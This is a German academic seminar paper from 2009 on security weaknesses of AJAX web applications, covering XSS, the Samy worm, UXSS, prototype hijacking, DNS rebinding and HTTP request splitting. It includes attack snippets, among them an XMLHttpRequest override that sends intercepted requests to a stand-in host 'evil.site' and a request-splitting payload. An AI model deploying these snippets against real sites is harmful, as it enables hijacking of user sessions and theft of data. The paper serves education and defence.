Destructive Ajax BACHELORARBEIT Seminar aus Netzwerke und Sicherheit zur Erlangung des akademischen Grades Bakkalaureus/Bakkalaurea der technischen Wissenschaften im Bachelorstudium INFORMATIK Eingereicht von: Proksch Stefan, 0555312 Kirchmayr Christoph, 0555158 Angefertigt am: FIM Institute for Information Processing and Microprocessor Technology Betreuung: Putzinger Andreas Linz, Jänner 2009
Destructive Ajax Stefan Proksch 1 und Christoph Kirchmayr 1 Johannes Kepler Universität, Linz 4040, Austria Zusammenfassung. AJAX steht für Asynchronous JavaSript And XML. Entwickelt wurde die Technologie um Web-Anwendungen näher an die Funktionsweise von klassischen Desktop-Anwendungen heranführen zu können. In diesem Paper sollen die technischen Grundlagen von AJAX erklärt und konkrete Angriffsmöglichkeiten aufgezeigt werden, hierbei werden neben klassischen XSS-Attacken auch Angriffsvektoren wie HTTP Request Splitting (HRS) und DNS-Rebinding behandelt. 1 Asynchronous JavaSript And XML 1.1 Komponenten von Ajax Dynamisches HTML DHTML stellt eine Erweiterung zu HTML dar, indem es erlaubt Anwendungen mit einem höheren Grad an Interaktion zu Entwickeln. XML ist ein Kernbestandteil von AJAX. Jegliche Kommunikation einer Applikation mit dem Server-Host erfolgt in XML. Dies hat mehrere Vorteile, zum einen findet die Kommunikation in einer Menschen-lesbaren Form statt. Zum anderen kann XML relativ einfach mittels DOM aus JavaScript heraus gelesen/bearbeitet werden. DOM Document Object Model, ist eine Programmierschnittstelle, mit deren Hilfe ein XML-Dokument in eine Hierarchie von Objekten mit Attributen übersetzt wird, dies erleichtert es mit XML umzugehen. Bei AJAX-Anwendungen führt jegliche Benutzerinteraktion zu einer Änderung des jeweiligen DOM. JavaScript JS ist eine Skriptsprache die von allen bekannten Browsern unterstützt wird, dadurch ist es nicht nötig weitere Software wie Plugins zu installieren. Bei AJAX wird asynchrones JS verwendet (Abb. 2 ). Das bedeutet das eine Anwendung quasi gleichzeitig neue Daten vom Server holen und die Darstellung der Seite aktualisieren kann, ohne dass ein kompletter Refresh (Abb. 1 ) nötig ist [1].
Abb. 1. Klassische Webanwendung Abb. 2. AJAX Webanwendung 2 Bekannte Probleme bei Ajax Allein durch die Verwendung von AJAX ergeben sich einige Sicherheitsprobleme, die in Vorhinein von den Entwicklern berücksichtigt werden müssen. Aus der Sicht eines Hackers ist eine Web-Applikation oft ein interessantes Ziel. Der sicherheitsrelevante Code einer Web-Applikation ist meist relativ schlecht, wie diverse Bug-Reports zeigen. Zum Beispiel The Cyber Security Bulletin SB06-012 des US-CERT darin sind 21 Angriffsmöglichkeiten im Bezug auf Web-Anwendungen gelistet. Dies ergibt sich aus mehreren Gründen [2]: 2.1 Inhomogene Technologien Die meisten AJAX-Applikationen verwenden das sogenannte Three-Tier -Modell: Der Client ist ein Web-Browser, der auf Client-Seite ausgeführt wird. Die Web-Anwendung selbst ist eine Webseite, meist aus verschiedenen Technologien aufgebaut. Die benötigten Daten stellt meist eine Datenbank im Hintergrund zur Verfügung. Zusätzlich zu den eventuellen Sicherheitslücken der einzelnen Produkte, gerade die Client-Seite ist hier gefährlich, da der Ersteller der Anwendung keine Kontrolle darüber hat, ergeben sich Probleme beim Zusammenspiel aller Komponenten.[2] 2.2 Client Side HTTP Programmierer klassischer Anwendungen nehmen bei Webanwendungen oft fälschlicherweise an, das eine Interaktion mit der Anwendung, d.h. die resultierende Serveranfrage von außerhalb der Anwendung nicht reproduzierbar ist. Dabei muss jedoch bedacht werden, das diese Anfrage Client-Seitig erstellt wird, und die Anwendung keine Kontrolle über dieses System hat, und diesem somit nicht vertraut werden darf. [3] 2.3 Komplexe Frameworks Es gibt mittlerweile eine Vielzahl von Frameworks für die Entwicklung von AJAX-Anwendungen. Einige davon sind schon so komplex dass sie kaum mehr
von einem einzelnen Entwickler überblickt werden können. Dies führt allerdings dazu, dass weniger auf Sicherheitsaspekte geachtet wird, und das die Testphasen verkürzt werden. 2.4 Eingabevalidierung Bei klassischen Programmen ist es durchaus üblich bei der Eingabe von Daten direkt deren Korrektheit zu überprüfen. Bei Webanwendungen ist dies allerdings zwar möglich aber nicht ratsam, da dies wiederum beim Client passieren würde. Deswegen ist es nötig die Eingabedaten auf Server-Seite zu überprüfen. Dies findet aber oft schlecht oder gar nicht statt, wodurch verschiedene Injection- Angriffe möglich werden. 2.5 Erschwertes Testen Die verteilte Natur von Webanwendung führt dazu dass das Testen wesentlich aufwendiger ist, als bei einer klassischen Applikation. Deswegen ist es wichtig, schon während der Entwicklung konkrete Test-Szenarien zu entwickeln. 3 Konkrete Angriffsmöglichkeiten 3.1 Cross Site Scripting (XSS) XSS ist heutzutage der von Hackern am meisten genutzte Anwendungsschicht- Angriff, um in Web-Applikationen einzudringen. Es bedeutet die Einbindung von HTML und Script-Code in eine vom User abgerufenen Web-Seite, ohne dessen Wissen. Es existieren 2 Arten von XSS-Attacken, die persistente und die nicht persistente Attacke [4]. Bei der nicht-persistenten Attacke wird der schädliche Code direkt in die Webseite eingebettet, die direkt nach der Anfrage an den Browser gesendet wird. Bei der persistenten Attacke bleibt der Schadcode auf dem Server und wird jedesmal ausgeführt wenn die jeweilige Seite aufgerufen wird [5]. XSS ist ein grundsätzliches Problem bei Web-Applikationen, aber die besonderen Eigenschaften von AJAX machen dieses besonders anfällig. Der Schadcode hat nur begrenzte Lebensdauer bis zum Verbindungs- bzw Sitzungsende zur Verfügung, da diese bei AJAX allerdings seitenübergreifend sind besteht für diesen die Möglichkeit über die gesamte Dauer einer User-Session aktiv zu bleiben. Obwohl die Sicherheitslücken in der Web-Applikation liegen, ist der Webserver selbst nicht gefährdet. Das Interesse der Hacker liegt darin, User-Informationen zu bekommen oder das Verhalten bzw. die Performance der Applikation zu beeinflussen [5].
3.2 XSS Würmer Würmer sind kleine Anwendungen welche die Fähigkeit zur selbstständigen Replikation besitzen. Durch die zunehmende Interaktivität von Web-Applikationen und der Evolution des Browsers vom Render- zum Rechenwerk wurden diese Ziel von Würmern. In einem Browser finden sie gute Bedingungen vor: durch die Verwendung von High-Level Sprachen wird die Entwicklung der Payload massiv erleichtert, gleichzeitig wird diese Hardware- und Betriebssystemunabhängig was die Zahl der potentiellen Angriffsziele deutlich erhöht[2]. Auch wenn die Würmer im Browser-Kontext in der Regel keinen Zugriff auf Low-Level Operationen (z.b. das einspielen/verändern von Paketen an der Netzwerkkarte) auf Client-Site erhalten können sie in der Web-gesteuerten Welt von heute einiges an Schaden anrichten. So konnten Würmer unter Zuhilfenahme von XSS innerhalb kurzer Zeit massiven Schaden an Social-Networks (geschehen bei MySpace, StudiVZ, Justin.tv, uvm) anrichten. Eines der bekanntesten Beispiele für diese Kategorie von Schädlingen ist der Samy-Wurm [6] der auf MySpace binnen 20 Stunden über eine Million Profile infizieren konnte; auch hier lag die Sicherheitslücke in der fehlerhaften Validierung von Benutzereingaben. Seitens MySpace war man sich der Bedrohung durch XSS durchaus bewusst, allerdings begnügte man sich damit nur einige wenige HTML-Tags zur Verschönerung des eigenen Profils durch eine Whitelist zu erlauben (<a>, <img>,<div>) und einige Keywords via Blacklist zu entfernen. Der Benutzer Samy konnte nach einigen Experimenten erfolgreich seinen Wurm auf seiner Profilseite einspeisen; die fehlende <script> Umgebung wurde durch die Interpretation von JavaScript in CSS-Tags ausgehebelt (<div style= background:url( javascript:alert(1) ) >) und das Keyword JavaScript wurde zwar aus dem Content gefiltert jedoch ein Großteil der Browser akzeptierte auch java\nscript als Befehl. Nun konnte sich der Wurm der JavaScript-Umgebung und dem DOM-Modell bedienen, der Sourcecode des aktuellen Dokuments wurde via eval( document.body.inne + rhtml ) trotz des gesperrten Keywords innerhtml ausgelesen und verarbeitet. Danach wurde ohne für den Benutzer ersichtlich ein XML-HTTP Request über die onreadystatechange Methode initialisiert welche das Profil des Benutzer auslas und an dessen Liste seiner Idole but most of all, samy is my hero anfügte. Danach wurde der Code des Wurms selbst an die Profilseite geheftet und diese somit selbst zum Infektionsträger. Hätte der Autor eine andere Payload wie etwa das Auslogen des aktuellen Benutzers gewählt wäre hiermit ein effektiver DOS (denial of service) Angriff möglich gewesen. 3.3 Universal-XSS Universal Cross Site Scripting (UXSS) ist ein Angriff der nicht direkt auf Webseiten sondern auf den Browsers des Benutzers abzielt; hierbei wird eine Lücke des Browsers bzg eines seiner Add-Ons, Plugins o.ä. ausgenutzt; so waren etwa von einer Schwäche im Adobe Acrobat Reader Plugin bis zur Version 8.0 sowohl
Mozilla Firefox als auch Microsoft Internet Explorer betroffen. Über die Felder FDF, XML oder XFDF ist es möglich in einer verlinkten PDF Datei Formulare auszufüllen, jedoch lies sich über diese Weise auch JavaScript Code einschleusen. Der Benutzer wird nun mittels Social-engineering, URL-obfuscation und ähnliche Techniken dazu gebracht auf einen Link zu klicken oder er wird mittels HTTP- Redirects automatisch dorthin manövriert und die Payload wird in diesem Kontext ausgeführt. Mittels einem Link auf www.evil.site/file.pdf#fdf=javascript:alert( XSS ) kann beliebiger JavaScript Code auf verwundbaren Systemen ausgeführt werden; serverseitig ist hiervon nichts zu erkennen da der HTTP Request nach # rein Clientseitig interpretiert wird. Wird diese Lücke nun in einem lokalen Kontext (wie etwa file://) aufgerufen ergeben sich ungeahnte Möglichkeiten für Angreifer, so kann etwa der Schadcode über die von Adobe mitausgelieferten PDFs volles Leserecht auf die ganze Festplatte des Benutzers erlangen und via XML-HTTP Daten an den Angreifer weiterleiten (Beispiel: file:///c:/programme/adobe/acrobat 07.0/Resource/ENUtxt.pdf#FDF=javascript:altert( XSS )). 3.4 Prototype Hijacking Einer der z.b. via XSS ermöglichten Angriffsvektoren ist das Prototype-Hijacking [7]. JavaScript ist eine Programmiersprache der Prototype-Familie die auf das Konzept der Klassen verzichtet. Hierbei werden neue Objekte als Klone existierender Objekte (sogen. native objects ) bzw leer (sogen. empty objects ) angelegt, Attribute und Methoden werden weitervererbt. Durch dieses System kann ein Entwickler, oder in diesem Falle der Angreifer, selbst native Objekte des Browsers manipulieren und erweitern. Wir wollen nun einen einfachen Wrapper über das XMLHttpRequest-Objekt legen, hier könnten bereits Ajax-Mitteilungen abgefangen und modifiziert und somit ein MITM (man in the middle) Angriff stattfinden. // Die a l t e XMLHttpRequest Implementation wird g e s p e i c h e r t var xmlreqc=xmlhttprequest ; // Die a k t u e l l e Implementation wird u e b e r s c h r i e b e n // und n u t z t dann d i e a l t e Implementation XMLHttpRequest = function ( ) { this. xml = new xmlreqc ( ) ; return this ; } Durch das Überschreiben weiterer nativer Funktionen wie send() (POST) und open() (GET) werden HTTP Requests mittels sniff() an den Angreifer weitergeleitet, gegebenenfalls via HijackRequest() modifiziert und anschliesend über die originale Implementierung abgesandt. // U e b e r s c h r e i b e d i e n a t i v e Implementierung XMLHttpRequest. prototype. send = function ( pay ) { // L e i t e Request an A n g r e i f e r w e i t e r s n i f f ( Hijacked : + +pay ) ;
} // M o d i f i z i e r e Request wenn n o e t i g pay=hijackrequest ( pay ) ; // Sende Request return this. xml. send ( pay ) ; Um die Same-Origin-Policy zu umgehen werden die mittels sniff() ausgelesenen Daten in die Quelladresse eines img-objekts geschrieben und unter dieser URL vom Webserver des Angreifers geladen. Dieser kann die übertragenen Daten dann aus der Serverlog auslesen oder direkt interpretieren. function s n i f f ( ) { var data= ; for ( var i =0; i <arguments. l e n g t h ; i ++) data+=arguments [ i ] ; i f ( image==n u l l ) image = document. createelement ( img ) ; i f ( data. length > 1024) data = data. s u b s t r i n g ( 0, 1024) ; image. s r c= http : / / e v i l. s i t e / h i j a c k e d. php? data= +data ; } 3.5 Same Origin Policy vs DNS Rebinding Web-Applikationen erzeugen häufig eigene Sessions zwischen Server und Client, gegenüber dem Client ist die Web Applikation mittels Protokoll, Domain und Port identifiziert. Die Same Origin Policy (SOP), welche sich seit Netscape 2.0 in praktisch allen JavaScript Implementationen wiederfindet, soll verhindern das Applets Verbindungen zu einem dritten Host herstellen und sensible Daten übermitteln, Cookies dürfen nur in Requests an die ausstellende Domain übertragen werden. Wenn das Tripel aus Protokoll, Domain und Port zweier Requests übereinstimmt handelt es sich um die gleiche Applikation, sollte eines der Elemente nicht übereinstimmen (https statt http, Port 81 statt 80, usw) ist die SOP verletzt und der Browser verhindert die Verbindung. Wenn der Client eine Verbindung zu einem Server herstellen will muss er zunächst dessen IP-Adresse über seinen DNS-Server erfragen, in dessen Antwort vertraut er meist bedingungslos. Dieses Vertrauen kann ein Angreifer missbrauchen indem er die Domain www.evil.site registriert und ihr zwei IP-Adressen zuteilt. Somit kann das Applet auf mehrere Hosts zugreifen und umgeht somit die SOP. Mittels JavaScript lässt sich nun auch eine DNS-Rebinding Attacke produzieren. Hierzu betreibt der Angreifer einen eigenen DNS-Server für seine Domain und sendet Antworten mit sehr kurzer Time-To-Live, sobald der Benutzer eine Site geladen hat läuft der darin enthaltenen Code in diesem Kontext. Nachdem der Angreifer dem Host nun einen andere IP zugeteilt hat sendet eine im Code vorhandene Ajax-Methode einen verzögerten HTTP-Request an www.evil.site, erhält die neue IP und darf zu dieser connecten.
3.6 HTTP Request Splitting Das wenig bekannte HTTP Request Splitting (HRS) [8] stell einen Angriff dar mit dem es möglich ist den Empfangspuffer eines Browsers anzugreifen und einem Benutzer eigene HTTP-Requests unterzujubeln. Um eine solche Attacke durchführen zu können muss jedoch der Benutzer einen Proxy-Server und einen verwundbaren Browser (z.b. Internet Explorer 6.0 SP2) nutzen. Laut HTTP/1.1 Protokoll-Spezifikation (RFC 2616) können in einem Request mehrere Header in einer Abfrage abgesandt werden. Diesen Umstand macht sich der Angreifer bei HRS-Attacken zunutze. Während bei einer Verbindung ohne Proxy-Server eine mehrteilige Header-Anfrage erkannt und entsprechend gehandhabt wird werden diese bei anfälligen Browsern bei Nutzung eines Proxy-Servers nicht näher analysiert. Der Angreifer sendet nun via XMLHttpRequest eine Anfrage mit mehrfachem Header: var x = new ActiveXObject ( M i c r o s o f t.xmlhttp ) ; x. open ( GET\ thttp : / /www. e v i l. s i t e / 2. html\thttp/1.1\ r \nhost : \ t www. e v i l. s i t e \ r \nproxy Connection : \ tkeep Alive \ r \n\ r \nget, / 3. html, f a l s e ) ; x. send ( ) ; Aus Sicht des Browsers wurde hier nur eine Anfrage an www.evil.site versandt, der Proxy jedoch stellt am Server zwei Anfragen: GET http://www.evil.site/2.html HTTP/1.1 Host: www.evil.site Proxy-Connection:Keep-Alive GET /3.html HTTP/1.1 Host: www.evil.site Proxy-Connection:Keep-Alive Daraufhin erhält der Proxy zwei Antworten mit dem Inhalt von 2.html bzw 3.html und leitet diese an den Browser des Benutzers weiter. Da dieser jedoch nur eine erwartet legt der die zweite in der Warteschlange des nächsten Requests ab. Ein Code in 2.html öffnet nun ein neues Fenster auf eine andere Domain wie z.b. www.google.com, da der Browser noch 3.html in der Queue aufweist wird diese dargestellt. Somit kann dem Benutzer eine Webseite untergeschoben werden obwohl die Adressleiste seines Browsers eine andere anzeigt. 3.7 Autoinjecting Cross Domain Scripting AICS [7] ist eine Attacke welche eine XSS Lücke in einer beliebigen Website mit einem HRS Angriff kombiniert um volle domainübergreifende Kontrolle über den Browser des Benutzers zu erlangen. Sobald ein Benutzer die XSS anfällige Seite anfordert, wird ihm diese in einem IFrame eingebettet ausgeliefert; unbemerkt vom Benutzer wird zusätzlicher Schadcode übermittelt. Aufgrund der Same- Origin-Policy erhält der Angreifer nun Zugriff auf die angeforderte Webseite. Kombiniert man diesen Angriff nun mit einer HRS-Attacke kann dies jedoch auf
beliebige Webseiten ohne XSS-Lücke ausgeweitet werden. Nachdem die infizierte Website geladen wurde kopiert sich der Schadcode in den lokalen Browsercache und ist dort als Einsprungspunkt für den Besuch anderer Webseiten abgelegt bis dieser geleert wird. Wird nun eine andere Seite besucht, wird sie ebenfalls in einem IFrame übermittelt, da ja die Adressleiste und der angezeigte Seiteninhalt übereinstimmen, ist dies für den Benutzer nicht ersichtlich. Mittels der Events onabort (Abbruch-Button), onblur (Fokus-verlust), onunload (URL-Änderung) und onclick (Benutzer folgt einem Link) kann es auf Benutzereingaben reagieren und neu angeforderte Webseiten via HRS mit Schadcode infizieren, selbst wenn diese keine XSS Schwachstelle aufweisen. 4 Anmerkungen Mit AJAX steht Webentwicklern ein mächtiges Werkzeug zur Verfügung, jedoch ist diese neue Form der Komplexität nicht ohne Tücken. Durch die Verwendung unterschiedlichster Technologien und das rapide Entwicklungstempo einzelner Frameworks finden Angreifer ein breites Betätigungsfeld vor. Die zunehmende Auslagerung von Funktionalität an den Client ermöglicht das Ausspähen der API und des Prozessflusses von Anwendungen und zeigt dabei Schwachstellen auf. Für ein solches interaktives System benötigt es andere Sicherheitskonzepte als für klassische rein serverorientierte Anwendungen. Doch auch der Benutzer selbst ist ins Visier der Angreifer geraten, durch die Kombination einer unausgereiften Technik aund dem ewigen Sorgenkind der Securityspezialisten, der Webbrowser, kann ihm unbemerkt die Kontrolle über die Web-Applikation und seine darin gespeicherten Daten entzogen werden. Auch wenn es Ansätze sowohl auf Client-[9] als auch auf Serverseite[10] gibt das XSS-Problem in den Griff zu bekommen sind diese zum heutigen Zeitpunkt fehlerhaft oder unzureichend implementiert. References 1. Paulson, L.D.: Building rich web applications with ajax. Computer 38(10) (2005) 14 17 2. Holz, T., Marechal, S., Raynal, F.: New threats and attacks on the world wide web. IEEE Security and Privacy 4(2) (2006) 72 75 3. Lawton, G.: Web 2.0 creates security challenges. Computer 40(10) (2007) 13 16 4. Lucca, G.A.D., Fasolino, A.R., Mastoianni, M., Tramontana, P.: Identifying cross site scripting vulnerabilities in web applications. In: WSE 04: Proceedings of the Web Site Evolution, Sixth IEEE International Workshop, Washington, DC, USA, IEEE Computer Society (2004) 71 80 5. Shanmugam, J., Ponnavaikko, M.: Xss application worms: New internet infestation and optimized protective measures. In: SNPD 07: Proceedings of the Eighth ACIS International Conference on Software Engineering, Artificial Intelligence, Networking, and Parallel/Distributed Computing (SNPD 2007), Washington, DC, USA, IEEE Computer Society (2007) 1164 1169
6. Ritchie, P.: The security risks of ajax/web 2.0 applications. Network Security 2007(3) (March 2007) 4 8 7. Di Paola, S., Fedon, G.: Subverting ajax - next generation vulnerabilities in 2.0 web applications. In: 23rd Chaos Communication Congress, Chaos Computer Club (CCC) (2006) 8. Iliyev, D., Choi, K.H., Kim, K.J.: Dangers of applying web 2.0 technologies in e-commerce solutions. In: ICISS 08: Proceedings of the 2008 International Conference on Information Science and Security, Washington, DC, USA, IEEE Computer Society (2008) 17 25 9. Kirda, E., Kruegel, C., Vigna, G., Jovanovic, N.: Noxes: a client-side solution for mitigating cross-site scripting attacks. In: SAC 06: Proceedings of the 2006 ACM symposium on Applied computing, New York, NY, USA, ACM (2006) 330 337 10. Jayamsakthi, S., Ponnavaikko, M.: Risk mitigation for cross site scripting attacks using signature based model on the server side. In: IMSCCS 07: Proceedings of the Second International Multi-Symposiums on Computer and Computational Sciences, Washington, DC, USA, IEEE Computer Society (2007) 398 405